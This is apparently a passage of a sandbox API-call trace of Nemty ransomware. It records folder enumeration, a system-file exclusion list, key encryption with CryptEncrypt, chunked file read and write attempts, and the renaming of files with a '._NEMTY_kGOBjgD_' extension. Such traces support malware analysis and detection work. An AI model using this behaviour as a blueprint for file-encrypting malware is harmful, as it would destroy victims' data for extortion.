hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0203.112] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2=".") returned 1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="..") returned 1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="...") returned 1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="windows") returned -1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="$RECYCLE.BIN") returned 1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="rsa") returned -1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="NTDETECT.COM") returned -1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="ntldr") returned -1 [0203.112] lstrcmpiW (lpString1="B5pc-V", lpString2="MSDOS.SYS") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="IO.SYS") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="boot.ini") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="boot.ini") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="AUTOEXEC.BAT") returned 1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="ntuser.dat") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="desktop.ini") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="CONFIG.SYS") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="RECYCLER") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="BOOTSECT.BAK") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="bootmgr") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="programdata") returned -1 [0203.113] lstrcmpiW (lpString1="B5pc-V", lpString2="appdata") returned 1 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-V", lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-V", lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-V", lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0203.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-V", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-V", lpUsedDefaultChar=0x0) returned 6 [0203.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0203.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0203.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0203.113] Sleep (dwMilliseconds=0x5) [0203.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cb81490, dwHighDateTime=0x1d561e8)) [0203.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2cb81490, dwHighDateTime=0x1d561e8)) [0203.126] GetLastError () returned 0x5 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0203.126] GetLastError () returned 0x5 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0203.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0203.126] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0203.126] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="onofAmO3zoz34FMpR90RXJU3iXxMjBYKJqsAVgb0SgUR8+fmIYRb9Ylwx8Q0XC0K\r\nqoLHhcaLaxiPCkrQDQ1ARJeZLV0yEtOj+Lz+kGx4F5qK4AZ9RTLM7pSo7n9jF1b4\r\nMTJRg/x9FZVOeupkzI0HYyrIj7aVcLmqYqXXcNw/DmRjysLYL2bpEUE4qEiOH8eY\r\nYF3M6SAZCGw44HObppJg5O3UTG1H3zi6gC6zLOVSpTtmoNH01s0oW8djo2QbdtJS\r\nSa8gsX07a1CPIE55S+b4dLjK/S3erMAT5CJQ6HjSGcIDiuEaaqi8kXoVhs5i0ydd\r\nzQ/OhCpc9/VDFiMDiBWaMw==\r\n", pcchString=0x653e91c) returned 1 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0203.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0203.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.126] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0203.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0203.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.136] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.136] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.136] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0203.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0203.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0203.233] CloseHandle (hObject=0xffffffff) returned 0 [0203.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0203.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0203.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0203.233] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0203.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0203.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0203.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0203.233] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-v._nemty_kgobjgd_")) returned 0 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0203.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0203.233] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="CNS-EU~1")) returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2=".") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="..") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="...") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="windows") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="rsa") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="NTDETECT.COM") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="ntldr") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="MSDOS.SYS") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="IO.SYS") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="boot.ini") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="boot.ini") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="ntuser.dat") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="desktop.ini") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="CONFIG.SYS") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="RECYCLER") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="bootmgr") returned 1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="programdata") returned -1 [0203.234] lstrcmpiW (lpString1="CNS-EUC-H", lpString2="appdata") returned 1 [0203.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0203.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0203.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0203.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0203.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CNS-EUC-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNS-EUC-H", lpUsedDefaultChar=0x0) returned 9 [0203.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 